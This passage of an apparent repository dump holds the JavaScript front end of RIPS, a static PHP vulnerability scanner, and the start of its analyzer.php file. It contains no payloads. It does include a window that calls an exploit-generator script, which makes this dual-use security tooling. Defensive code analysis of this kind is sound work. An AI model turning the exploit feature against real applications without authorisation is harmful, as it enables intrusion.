\"loc=\"+location+\"&subdirs=\"+subdirs+\"&verbosity=\"+verbosity+\"&vector=\"+vector+\"&treestyle=\"+treestyle+\"&stylesheet=\"+stylesheet;\n\n\tif(ignore_warning)\n\t\tparams+=\"&ignore_warning=1\";\n\n\tdocument.getElementById(\"scanning\").style.backgroundImage=\"url(css/scanning.gif)\";\n\tdocument.getElementById(\"scanning\").innerHTML='scanning ...<div class=\"scanfile\" id=\"scanfile\"></div><div class=\"scanned\" id=\"scanned\"></div><div class=\"scanprogress\" id=\"scanprogress\"></div><div class=\"scantimeleft\" id=\"scantimeleft\"></div>'\n\tdocument.getElementById(\"scanning\").style.display=\"block\";\n\n\tprevDataLength = 0;\n\tnextLine = '';\n\n\tvar a = true;\n\tstats_done = false;\n\tclient = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 3 && !stats_done)\n\t\t\thandleResponse('scan');\n\t\telse if(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tif(!this.responseText.match(/^\\s*warning:/))\n\t\t\t{\n\t\t\t\tdocument.getElementById(\"scanning\").style.display=\"none\";\n\t\t\t\tdocument.getElementById(\"options\").style.display=\"\";\n\n\t\t\t\tnostats = this.responseText.split(\"STATS_DONE.\\n\");\n\t\t\t\tif(nostats[1])\n\t\t\t\t\tresult = nostats[1];\n\t\t\t\telse\n\t\t\t\t\tresult = nostats[0];\n\n\t\t\t\tdocument.getElementById(\"result\").innerHTML=(result);\n\t\t\t\tgenerateDiagram();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar amount = this.responseText.split(':')[1];\n\t\t\t\tvar warning = \"<div class=\\\"warning\\\">\";\n\t\t\t\twarning+=\"<h2>warning</h2>\";\n\t\t\t\twarning+=\"<p>You are about to scan \" + amount + \" files. \";\n\t\t\t\twarning+=\"Depending on the amount of codelines and includes this may take a while.\";\n\t\t\t\twarning+=\"The author of RIPS recommends to scan only the root directory of your project without subdirs.</p>\";\n\t\t\t\twarning+=\"<p>Do you want to continue anyway?</p>\";\n\t\t\t\twarning+=\"<input type=\\\"button\\\" class=\\\"Button\\\" value=\\\"continue\\\" onClick=\\\"scan(true);\\\"/>&nbsp;\";\n\t\t\t\twarning+=\"<input type=\\\"button\\\" class=\\\"Button\\\" value=\\\"cancel\\\" onClick=\\\"document.getElementById('scanning').style.display='none';\\\"/>\";\n\t\t\t\twarning+=\"</div>\";\n\t\t\t\tdocument.getElementById(\"scanning\").style.backgroundImage=\"none\";\n\t\t\t\tdocument.getElementById(\"scanning\").innerHTML=warning;\n\t\t\t}\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\tvar warning = \"<div class=\\\"warning\\\">\";\n\t\t\twarning+=\"<h2>Network error (HTTP \"+this.status+\")</h2>\";\n\t\t\tif(this.status == 0)\n\t\t\t\twarning+=\"<p>Could not access <i>main.php</i>. Make sure your webserver is running.</p>\";\n\t\t\telse if(this.status == 404)\n\t\t\t\twarning+=\"<p>Could not access <i>main.php</i>. Make sure you copied all files.</p>\";\n\t\t\telse if(this.status == 500)\n\t\t\t\twarning+=\"<p>Scan aborted. Try to scan only one entry file at once or increase the <i>set_time_limit()</i> in </i>config/general.php</i>.</p>\";\n\t\t\twarning+=\"</div>\";\n\t\t\tdocument.getElementById(\"scanning\").style.backgroundImage=\"none\";\n\t\t\tdocument.getElementById(\"scanning\").innerHTML=warning;\n\t\t}\n\t}\n\tclient.open(\"POST\", \"main.php\", true);\n\tclient.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\tclient.setRequestHeader(\"Content-length\", params.length);\n\tclient.setRequestHeader(\"Connection\", \"close\");\n\tclient.send(params);\n}\n\nfunction leakScan(hoveritem, varname, line, ignore_warning)\n{\n\tvar title = 'Data Leak Scan - ' + varname;\n\tvar mywindow = document.getElementById(\"window2\");\n\tmywindow.style.display=\"block\";\n\tmywindow.style.width=700;\n\tmywindow.style.height=350;\n\n\tif(hoveritem)\n\t{\n\t\tif(hoveritem != 3 && hoveritem != 4)\n\t\t\tvar tmp = hoveritem.offsetParent;\n\t\telse\n\t\t\tvar tmp = document.getElementById(\"windowtitle\"+hoveritem);\n\n\t\tmywindow.style.top = tmp.offsetParent.offsetTop - 90;\n\t\tmywindow.style.right = 250;\n\t}\n\n\tdocument.getElementById(\"windowtitle2\").innerHTML=title;\n\n\tvar location = encodeURIComponent(document.getElementById(\"location\").value);\n\tvar subdirs = Number(document.getElementById(\"subdirs\").checked);\n\tvar treestyle = document.getElementById(\"treestyle\").value;\n\n\tvar params = \"loc=\"+location+\"&subdirs=\"+subdirs+\"&treestyle=\"+treestyle+\"&varname=\"+varname+\"&line=\"+line;\n\n\tif(ignore_warning)\n\t\tparams+=\"&ignore_warning=1\";\n\n\tdocument.getElementById(\"windowcontent2\").innerHTML = '';\n\tvar scandiv = document.createElement('div');\n\tscandiv.className=\"scanning\";\n\tscandiv.style.marginTop=\"30px\";\n\tscandiv.style.marginLeft=\"150px\";\n\tscandiv.style.backgroundImage=\"url(css/scanning.gif)\";\n\tscandiv.innerHTML='scanning ...<div class=\"scanfile\" id=\"leakscanfile\"></div><div class=\"scanned\" id=\"leakscanned\"></div><div class=\"scanprogress\" id=\"leakscanprogress\"></div><div class=\"scantimeleft\" id=\"leakscantimeleft\"></div>';\n\tscandiv.id=\"dataleakscanning\";\n\tscandiv.style.display=\"block\";\n\n\tdocument.getElementById(\"windowcontent2\").appendChild(scandiv);\n\n\tvar a = true;\n\tstats_done = false;\n\tclient = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 3 && !stats_done)\n\t\t\thandleResponse('leakscan');\n\t\telse if(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tif(!this.responseText.match(/^\\s*warning:/))\n\t\t\t{\n\t\t\t\tdocument.getElementById(\"dataleakscanning\").style.display=\"none\";\n\n\t\t\t\tnostats = this.responseText.split(\"STATS_DONE.\\n\");\n\n\t\t\t\tif(nostats[1])\n\t\t\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML=(nostats[1]);\n\t\t\t\telse\n\t\t\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML='<br /><center>No data leak found. You need blind exploitation techniques.</center>';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar amount = this.responseText.split(':')[1];\n\t\t\t\tvar warning = \"<div class=\\\"warning\\\">\";\n\t\t\t\twarning+=\"<h2>warning</h2>\";\n\t\t\t\twarning+=\"<p>You are about to scan \" + amount + \" files. \";\n\t\t\t\twarning+=\"Depending on the amount of codelines and includes this may take a while. \";\n\t\t\t\twarning+=\"The author of RIPS recommends to scan only the root directory of your project without subdirs.</p>\";\n\t\t\t\twarning+=\"<p>Do you want to continue anyway?</p>\";\n\t\t\t\twarning+=\"<input type=\\\"button\\\" class=\\\"Button\\\" value=\\\"continue\\\" onClick=\\\"document.getElementById('dataleakscanning').style.display='none';leakScan(null, '\"+varname+\"', '\"+line+\"', true);\\\"/>&nbsp;\";\n\t\t\t\twarning+=\"<input type=\\\"button\\\" class=\\\"Button\\\" value=\\\"cancel\\\" onClick=\\\"document.getElementById('windowcontent2').removeChild(document.getElementById('dataleakscanning'));closeWindow(2);\\\"/>\";\n\t\t\t\twarning+=\"</div>\";\n\t\t\t\tdocument.getElementById(\"dataleakscanning\").style.backgroundImage=\"none\";\n\t\t\t\tdocument.getElementById(\"dataleakscanning\").innerHTML=warning;\n\t\t\t}\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\tvar warning = \"<div class=\\\"warning\\\">\";\n\t\t\twarning+=\"<h2>Network error (HTTP \"+this.status+\")</h2>\";\n\t\t\tif(this.status == 0)\n\t\t\t\twarning+=\"<p>Could not access <i>windows/leakscan.php</i>. Make sure your webserver is running.</p>\";\n\t\t\telse if(this.status == 404)\n\t\t\t\twarning+=\"<p>Could not access <i>windows/leakscan.php</i>. Make sure you copied all files.</p>\";\n\t\t\telse if(this.status == 500)\n\t\t\t\twarning+=\"<p>Scan aborted. Try to scan only one entry file at once or increase the <i>set_time_limit()</i> in </i>config/general.php</i>.</p>\";\n\t\t\twarning+=\"</div>\";\n\t\t\tdocument.getElementById(\"dataleakscanning\").style.backgroundImage=\"none\";\n\t\t\tdocument.getElementById(\"dataleakscanning\").innerHTML=warning;\n\t\t}\n\t}\n\tclient.open(\"POST\", \"windows/leakscan.php\", true);\n\tclient.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\tclient.setRequestHeader(\"Content-length\", params.length);\n\tclient.setRequestHeader(\"Connection\", \"close\");\n\tclient.send(params);\n}\n\n/* SEARCH */\n\nfunction search()\n{\n\tvar location = encodeURIComponent(document.getElementById(\"location\").value);\n\tvar subdirs = Number(document.getElementById(\"subdirs\").checked);\n\tvar regex = encodeURIComponent(document.getElementById(\"search\").value);\n\tvar stylesheet = document.getElementById(\"css\").value;\n\n\tvar params = 'loc='+location+'&subdirs='+subdirs+'&search=1&regex='+regex+'&ignore_warning=1&treestyle=1&stylesheet='+stylesheet;\n\n\tdocument.getElementById(\"scanning\").style.backgroundImage=\"url(css/scanning.gif)\";\n\tdocument.getElementById(\"scanning\").innerHTML='searching ...<div class=\"scanned\" id=\"scanned\"></div>';\n\tdocument.getElementById(\"scanning\").style.display=\"block\";\n\tvar animation = window.setInterval(\"scanAnimation(document.getElementById('scanned'))\", 300);\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"scanning\").style.display=\"none\";\n\t\t\twindow.clearInterval(animation);\n\t\t\tdocument.getElementById(\"options\").style.display=\"none\";\n\t\t\tdocument.getElementById(\"result\").innerHTML=(this.responseText);\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"POST\", \"main.php\", true);\n\tclient.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\tclient.setRequestHeader(\"Content-length\", params.length);\n\tclient.setRequestHeader(\"Connection\", \"close\");\n\tclient.send(params);\n}\n\n\n/* CODE STYLE */\n\nfunction setActiveStyleSheet(title)\n{\n\tvar i, a;\n\tfor(i=0; (a = document.getElementsByTagName(\"link\")[i]); i++)\n\t{\n\t\tif(a.getAttribute(\"rel\").indexOf(\"style\") != -1 && a.getAttribute(\"title\"))\n\t\t{\n\t\t\ta.disabled = true;\n\t\t\tif(a.getAttribute(\"title\") == title) a.disabled = false;\n\t\t}\n\t}\n}\n\nfunction hide(tag)\n{\n\tif(document.getElementById(tag).style.display != \"none\")\n\t{\n\t\tdocument.getElementById(tag).style.display=\"none\";\n\t\tdocument.getElementById(\"pic\"+tag).className='plusico';\n\t}\n\telse\n\t{\n\t\tdocument.getElementById(tag).style.display=\"block\";\n\t\tdocument.getElementById(\"pic\"+tag).className='minusico';\n\t}\n}\n\nfunction catshow(tag)\n{\n\tvar elements = document.getElementsByName('allcats');\n\tfor(var i=0;i<elements.length;i++)\n\t{\n\t\tif(elements[i].firstChild.getAttribute('name') == tag)\n\t\t\telements[i].firstChild.style.display=\"block\";\n\t\telse\n\t\t\telements[i].firstChild.style.display=\"none\";\n\t}\n\n\tvar elements = document.getElementsByName('pic'+tag);\n\tfor(var i=0;i<elements.length;i++)\n\t{\n\t\t\telements[i].className='minusico';\n\t}\n}\n\nfunction showAllCats()\n{\n\tvar elements = document.getElementsByName('allcats');\n\tfor(var i=0;i<elements.length;i++)\n\t{\n\t\telements[i].firstChild.style.display=\"block\";\n\t}\n}\n\nfunction markVariable(variable)\n{\n\tif(document.getElementsByName(\"phps-var-\"+variable).length < 100)\n\t{\n\tvar i, a;\n\tfor(i=0; (a = document.getElementsByName(\"phps-var-\"+variable)[i]); i++)\n\t{\n\t\tif(a.className == 'phps-t-variable' || a.className == 'phps-tainted-var')\n\t\t\ta.className = 'phps-t-variable-marked';\n\t\telse\n\t\t\ta.className = 'phps-t-variable';\n\t}\n\t}\n}\n\nfunction mouseFunction(name, item)\n{\n\tif(document.getElementById('fol_'+name) != null)\n\t{\n\t\titem.style.cursor='pointer';\n\t\titem.style.textDecoration='underline';\n\t\titem.title='jump to function code';\n\t}\n}\n\nvar stack = new Array();\n\nfunction openFunction(name, linenr)\n{\n\tif(document.getElementById('fol_'+name) != null)\n\t{\n\t\tvar code = String(document.getElementById('fol_'+name).onclick).split(\"\\n\");\n\t\teval(code[1]);\n\t\tvar save = new Array(document.getElementById('windowcontent1').innerHTML, linenr);\n\t\tstack.push(save);\n\t\tdocument.getElementById('return').style.display='block';\n\t}\n}\n\nfunction returnLastCode()\n{\n\tvar recover = stack.pop();\n\tif(stack.length < 1)\n\t\tdocument.getElementById('return').style.display='none';\n\tdocument.getElementById('windowcontent1').innerHTML = recover[0];\n\tdocument.getElementById(\"scrollcode\").innerHTML=document.getElementById(\"codeonly\").innerHTML;\n\tdocument.getElementById(recover[1]).scrollIntoView();\n\tdocument.body.scrollTop = document.body.scrollTop - 100;\n}\n\n\n/* MANAGE WINDOWS */\n\nfunction closeFuncCode()\n{\n\tdocument.getElementById(\"funccode\").style.display = \"none\";\n}\n\nfunction closeWindow(id)\n{\n\tdocument.getElementById(\"window\"+id).style.display=\"none\";\n}\n\nvar lastheight = \"200px\";\nvar lastwidth = \"400px\";\nfunction maxWindow(id, newwidth)\n{\n\tlastheight = document.getElementById(\"window\"+id).style.height;\n\tlastwidth = document.getElementById(\"window\"+id).style.width;\n\tdocument.getElementById(\"window\"+id).style.height = 400;\n\tdocument.getElementById(\"window\"+id).style.width = newwidth+\"px\";\n\tif(id==1)\n\t{\n\t\tdocument.getElementById(\"windowcontent1\").style.width = newwidth-84 + \"px\";\n\t\tscroller();\n\t}\n}\n\nfunction minWindow(id, oldwidth)\n{\n\tdocument.getElementById(\"window\"+id).style.height = lastheight;\n\tdocument.getElementById(\"window\"+id).style.width = lastwidth;\n}\n\nfunction toTop(wid)\n{\n\tvar windows = document.getElementsByName(\"window\");\n\tfor(var i=0; i<windows.length; i++)\n\t{\n\t\tif(windows[i].id == \"window\"+wid)\n\t\t\twindows[i].style.zIndex = 3;\n\t\telse\n\t\t\twindows[i].style.zIndex = 1;\n\t}\n}\n\nfunction showgraph(type)\n{\n\tdocument.getElementById(type+'canvas').style.display=\"block\";\n\tdocument.getElementById(type+'listdiv').style.display=\"none\";\n\tdocument.getElementById(type+'graphbutton').style.background=\"white\";\n\tdocument.getElementById(type+'graphbutton').style.color=\"black\";\n\tdocument.getElementById(type+'listbutton').style.background=\"#454545\";\n\tdocument.getElementById(type+'listbutton').style.color=\"white\";\n}\n\nfunction showlist(type)\n{\n\tdocument.getElementById(type+'canvas').style.display=\"none\";\n\tdocument.getElementById(type+'listdiv').style.display=\"block\";\n\tdocument.getElementById(type+'listbutton').style.background=\"white\";\n\tdocument.getElementById(type+'listbutton').style.color=\"black\";\n\tdocument.getElementById(type+'graphbutton').style.background=\"#454545\";\n\tdocument.getElementById(type+'graphbutton').style.color=\"white\";\n}\n\nfunction scroller()\n{\n\tvar content = document.getElementById('windowcontent1');\n\tvar win = document.getElementById('scrollwindow');\n\tvar code1 = document.getElementById('scrollcode');\n\ttry {\n\t\tvar code2 = document.getElementById('codetable');\n\t\tif(code2.clientHeight<code1.clientHeight)\n\t\t\tvar code = code2;\n\t\telse\n\t\t\tvar code = code1;\n\t} catch(e)\n\t{\n\t\tcode = code1;\n\t}\n\n\twin.style.height=(0.1 * content.clientHeight) + 'px';\n\tcode1.scrollTop=((content.scrollTop / (content.scrollHeight-content.clientHeight)) * ((code.scrollHeight-code.clientHeight)));\n\twin.style.top=((content.scrollTop / (content.scrollHeight-content.clientHeight)) * (code.clientHeight-win.clientHeight)) + 'px';\n}\n\n/* LOAD WINDOWS */\n\nfunction openWindow(id)\n{\n\tvar style = document.getElementById(\"window\"+id).style;\n\n\tif(style.display == \"\" || style.display == \"none\") {\n\t\tstyle.display = \"block\";\n\t\tstyle.zIndex = 3;\n\t}\n\telse {\n\t\tstyle.display = \"none\";\n\t}\n}\n\nfunction getFuncCode(hoveritem, file, start, end)\n{\n\tvar codediv = document.getElementById(\"funccode\");\n\tcodediv.style.display=\"block\";\n\tcodediv.style.zIndex = 3;\n\n\tif(file.length > 50)\n\t\ttitle = '...'+file.substr(file.length-50,50);\n\telse\n\t\ttitle = file;\n\tdocument.getElementById(\"funccodetitle\").innerHTML=title;\n\n\tvar tmp = hoveritem.offsetParent;\n\tcodediv.style.top = tmp.offsetParent.offsetTop;\n\tcodediv.style.left = hoveritem.offsetLeft;\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"funccodecontent\").innerHTML=(this.responseText);\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"GET\", \"windows/function.php?file=\"+file+\"&start=\"+start+\"&end=\"+end);\n\tclient.send();\n}\n\nfunction openHelp(hoveritem, type, thefunction, get, post, cookie, files, server)\n{\n\tvar title = 'Help - ';\n\tif(type.length > 50)\n\t\ttitle+= type.substr(0,80)+'...';\n\telse\n\t\ttitle+=type;\n\n\tvar mywindow = document.getElementById(\"window2\");\n\tmywindow.style.display=\"block\";\n\n\tif(hoveritem != 3 && hoveritem != 4)\n\t\tvar tmp = hoveritem.offsetParent;\n\telse\n\t\tvar tmp = document.getElementById(\"windowtitle\"+hoveritem);\n\n\tmywindow.style.top = tmp.offsetParent.offsetTop - 100;\n\tmywindow.style.right = 200;\n\n\tdocument.getElementById(\"windowtitle2\").innerHTML=title;\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML=(this.responseText);\n\n\t\t\tdocument.getElementById(\"windowcontent2\").scrollIntoView();\n\n\t\t\tdocument.body.scrollTop = tmp.offsetParent.offsetTop - 200;\n\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"GET\",\n\t\t\"windows/help.php?type=\"+type+\"&function=\"+thefunction+\"&get=\"+get+\"&post=\"+post+\"&cookie=\"+cookie+\"&files=\"+files+\"&server=\"+server);\n\tclient.send();\n}\n\nfunction openHotpatch(hoveritem, file, get, post, cookie, files, server)\n{\n\tvar title = 'HotPatcher - ';\n\tif(file.length > 50)\n\t\ttitle+= '...'+file.substr(file.length-50,50);\n\telse\n\t\ttitle+= file;\n\n\tvar mywindow = document.getElementById(\"window2\");\n\tmywindow.style.display=\"block\";\n\n\tvar tmp = hoveritem.offsetParent;\n\n\tmywindow.style.top = tmp.offsetParent.offsetTop - 100;\n\tmywindow.style.right = 200;\n\n\tdocument.getElementById(\"windowtitle2\").innerHTML=title;\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML=(this.responseText);\n\n\t\t\tdocument.getElementById(\"windowcontent2\").scrollIntoView();\n\n\t\t\tdocument.body.scrollTop = tmp.offsetParent.offsetTop - 200;\n\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"GET\",\n\t\t\"windows/hotpatch.php?file=\"+file+\"&get=\"+get+\"&post=\"+post+\"&cookie=\"+cookie+\"&files=\"+files+\"&server=\"+server);\n\tclient.send();\n}\n\nfunction openCodeViewer(hoveritem, file, lines)\n{\n\tvar linenrs = lines.split(\",\");\n\tvar title = 'CodeViewer - ';\n\tif(file.length > 50)\n\t\ttitle+= '...'+file.substr(file.length-50,50);\n\telse\n\t\ttitle+= file;\n\n\tvar mywindow = document.getElementById(\"window1\");\n\tmywindow.style.display=\"block\";\n\n\tif(hoveritem != 3 && hoveritem != 4)\n\t\tvar tmp = hoveritem.offsetParent;\n\telse\n\t\tvar tmp = document.getElementById(\"windowtitle\"+hoveritem);\n\n\tif(tmp.offsetParent != null)\n\t\tmywindow.style.top = tmp.offsetParent.offsetTop - 100;\n\tmywindow.style.right = 200;\n\n\tdocument.getElementById(\"windowtitle1\").innerHTML=title;\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"windowcontent1\").innerHTML=(this.responseText);\n\n\t\t\tif(document.getElementById(linenrs[0]) != null)\n\t\t\t\tdocument.getElementById(linenrs[0]).scrollIntoView();\n\n\t\t\tif(tmp.offsetParent != null)\n\t\t\t\tdocument.body.scrollTop = tmp.offsetParent.offsetTop - 200;\n\t\t\telse\n\t\t\t\tdocument.body.scrollTop = document.body.scrollTop - 100;\n\n\t\t\tdocument.getElementById(\"scrollcode\").innerHTML=document.getElementById(\"codeonly\").innerHTML;\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"GET\", \"windows/code.php?file=\"+file+\"&lines=\"+lines);\n\tclient.send();\n}\n\nfunction openExploitCreator(hoveritem, file, get, post, cookie, files, server)\n{\n\tvar title = 'ExploitCreator - ';\n\tif(file.length > 50)\n\t\ttitle+= '...'+file.substr(file.length-50,50);\n\telse\n\t\ttitle+= file;\n\n\tvar mywindow = document.getElementById(\"window2\");\n\tmywindow.style.display=\"block\";\n\n\tvar tmp = hoveritem.offsetParent;\n\n\tmywindow.style.top = tmp.offsetParent.offsetTop - 100;\n\tmywindow.style.right = 200;\n\n\tdocument.getElementById(\"windowtitle2\").innerHTML=title;\n\n\tvar a = true;\n\tvar client = new XMLHttpRequest();\n\tclient.onreadystatechange = function ()\n\t{\n\t\tif(this.readyState == 4 && this.status == 200 && a)\n\t\t{\n\t\t\tdocument.getElementById(\"windowcontent2\").innerHTML=(this.responseText);\n\n\t\t\tdocument.getElementById(\"windowcontent2\").scrollIntoView();\n\n\t\t\tdocument.body.scrollTop = tmp.offsetParent.offsetTop - 200;\n\n\t\t\ta=false;\n\t\t}\n\t\telse if (this.readyState == 4 && this.status != 200)\n\t\t{\n\t\t\talert(\"Network error (\"+this.status+\").\");\n\t\t}\n\t}\n\tclient.open(\"GET\",\n\t\t\"windows/exploit.php?file=\"+file+\"&get=\"+get+\"&post=\"+post+\"&cookie=\"+cookie+\"&files=\"+files+\"&server=\"+server);\n\tclient.send();\n}\n\nfunction saveCanvas(canvas, id)\n{\n\tvar objCanvas = document.getElementById(canvas);\n\tvar ctx = objCanvas.getContext('2d');\n\tvar c = document.createElement('canvas');\n\tc.width  = ctx.canvas.width;\n\tc.height = ctx.canvas.height;\n\tvar newctx = c.getContext('2d');\n\tnewctx.fillStyle = '#FFF';\n\tnewctx.fillRect(0,0,c.width,c.height);\n\tnewctx.fillStyle = \"#223344\";\n\tnewctx.fillText('created with RIPS', c.width-100, c.height-7);\n\tnewctx.drawImage(ctx.canvas,0,0);\n\tdocument.getElementById(\"canvas\"+id).innerHTML=\"<img src='\"+c.toDataURL()+\"' title='right-click to save graph' />\";\n\tdocument.getElementById(\"canvas\"+id).style.display='block';\n\tdocument.getElementById(canvas).style.display='none';\n\tdocument.getElementById(canvas+'save').value='edit graph';\n\tvar onC='restoreCanvas(\"'+canvas+'\", '+id+')';\n\tdocument.getElementById(canvas+'save').onclick = new Function(onC);\n}\n\nfunction restoreCanvas(canvas, id)\n{\n\tdocument.getElementById(\"canvas\"+id).style.display='none';\n\tdocument.getElementById(canvas).style.display='block';\n\tdocument.getElementById(canvas+'save').value='save graph';\n\tvar onC='saveCanvas(\"'+canvas+'\", '+id+')';\n\tdocument.getElementById(canvas+'save').onclick = new Function(onC);\n}\n\n/* DRAG WINDOW */\n\nvar dragobjekt = null;\nvar dragx = 0;\nvar dragy = 0;\nvar posx = 0;\nvar posy = 0;\n\nfunction draginit() {\n  document.onmousemove = drag;\n  document.onmouseup = dragstop;\n}\n\nfunction dragstart(id) {\n  dragobjekt = document.getElementById(\"window\"+id);\n  dragx = posx - dragobjekt.offsetLeft;\n  dragy = posy - dragobjekt.offsetTop;\n}\n\nfunction dragstop() {\n\ndragobjekt=null;\nif(document.getElementById(\"scrollcode\") != null)\nscroller();\n}\n\nfunction drag(ereignis) {\n  posx = document.all ? window.event.clientX : ereignis.pageX;\n  posy = document.all ? window.event.clientY : ereignis.pageY;\n  if(dragobjekt != null) {\n    dragobjekt.style.left = (posx - dragx) + \"px\";\n    dragobjekt.style.top = (posy - dragy) + \"px\";\n  }\n}\n\n/* RESIZE WINDOW */\n\nvar curWidth = 0;\nvar curHeight = 0;\nvar curX = 0;\nvar curY = 0;\nvar newX = 0;\nvar newY = 0;\nvar mouseButtonPos = \"up\";\nvar windowid = 1;\n\nfunction resizeStart(e, id)\n{\n\twindowid = id;\n\tcurEvent = ((typeof event == \"undefined\")? e: event);\n\tmouseButtonPos = \"down\";\n\tcurX = curEvent.clientX;\n\tcurY = curEvent.clientY;\n\n\tvar tempWidth = document.getElementById(\"window\"+id).style.width;\n\tvar tempHeight = document.getElementById(\"window\"+id).style.height;\n\n\tvar widthArray = tempWidth.split(\"p\");\n\tcurWidth = parseInt(widthArray[0]);\n\tvar heightArray=tempHeight.split(\"p\");\n\tcurHeight=parseInt(heightArray[0]);\n}\n\nfunction getPos(e)\n{\n\tif( mouseButtonPos == \"down\" )\n\t{\n\t\tcurEvent = ((typeof event == \"undefined\")? e: event);\n\t\tnewY = curEvent.clientY;\n\t\tnewX = curEvent.clientX;\n\t\tvar pxMoveY = parseInt(newY - curY);\n\t\tvar pxMoveX = parseInt(newX - curX);\n\n\t\tvar newWidth = parseInt(curWidth + pxMoveX);\n\t\tvar newHeight = parseInt(curHeight + pxMoveY);\n\n\t\tnewWidth = ((newWidth < 200)? 200: newWidth);\n\t\tnewHeight=(newHeight<5?5:newHeight);\n\n\t\tdocument.getElementById(\"window\"+windowid).style.width = newWidth + \"px\";\n\t\tif(windowid == 1)\n\t\t\tdocument.getElementById(\"windowcontent1\").style.width = newWidth-84 + \"px\";\n\t\tdocument.getElementById(\"window\"+windowid).style.height = newHeight + \"px\";\n\t}\n}\n\n/* DIAGRAM */\n\n\nvar myColor = [\n\"#9F42FF\", // code\n\"#FFCE42\", // exec\n\"#FF8042\", // connect\n\"#FF4242\", // file read\n\"#FDFF42\", // file inc\n\"#48D141\", // file affect\n\"#47CAC5\", // ldap\n\"#477FCA\", // sqli\n\"#4A47CA\", // xpath\n\"#DADFE3\", // XSS\n\"#16FB3B\", // HTTP Header\n\"#DF4242\", // other\n\"#818C96\", // pop\n\"#ff99ff\", // reflection\n\"#ff33ff\", //\n];\n\nvar myData = Array();\n\nfunction generateDiagram()\n{\n\tvar canvas;\n\tvar ctx;\n\tvar lastend = 0;\n\tvar myTotal = 0;\n\n\t// generate data\n\tfor (var j = 0; j < 15; j++)\n\t{\n\t\tif(document.getElementById('vuln'+(j+1)))\n\t\t{\n\t\t\tmyTotal += Number(document.getElementById('vuln'+(j+1)).innerHTML);\n\t\t\tmyData[j] = Number(document.getElementById('vuln'+(j+1)).innerHTML);\n\t\t}\n\t\telse\n\t\t\tmyData[j] = 0;\n\t}\n\n\tcanvas = document.getElementById(\"diagram\");\n\tctx = canvas.getContext(\"2d\");\n\tctx.clearRect(0, 0, canvas.width, canvas.height);\n\n\tfor (var i = 0; i < myData.length; i++)\n\t{\n\t\tif(myData[i] != 0)\n\t\t{\n\t\t\tdocument.getElementById('chart'+(i+1)).style.backgroundColor = myColor[i];\n\t\t\tctx.fillStyle = myColor[i];\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(45,35);\n\t\t\tctx.arc(45,35,35,lastend,lastend+(Math.PI*2*(myData[i]/myTotal)),false);\n\t\t\tctx.lineTo(45,35);\n\t\t\tctx.fill();\n\t\t\tlastend += Math.PI*2*(myData[i]/myTotal);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "lib/analyzer.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nclass Analyzer\n{\n\t// reconstructs string from a list of tokens\n\tstatic function get_tokens_value($file_name, $tokens, $var_declares, $var_declares_global, $tokenid, $start=0, $stop=0, $source_functions=array())\n\t{\n\t\t$value = '';\n\t\tif(!$stop) $stop = 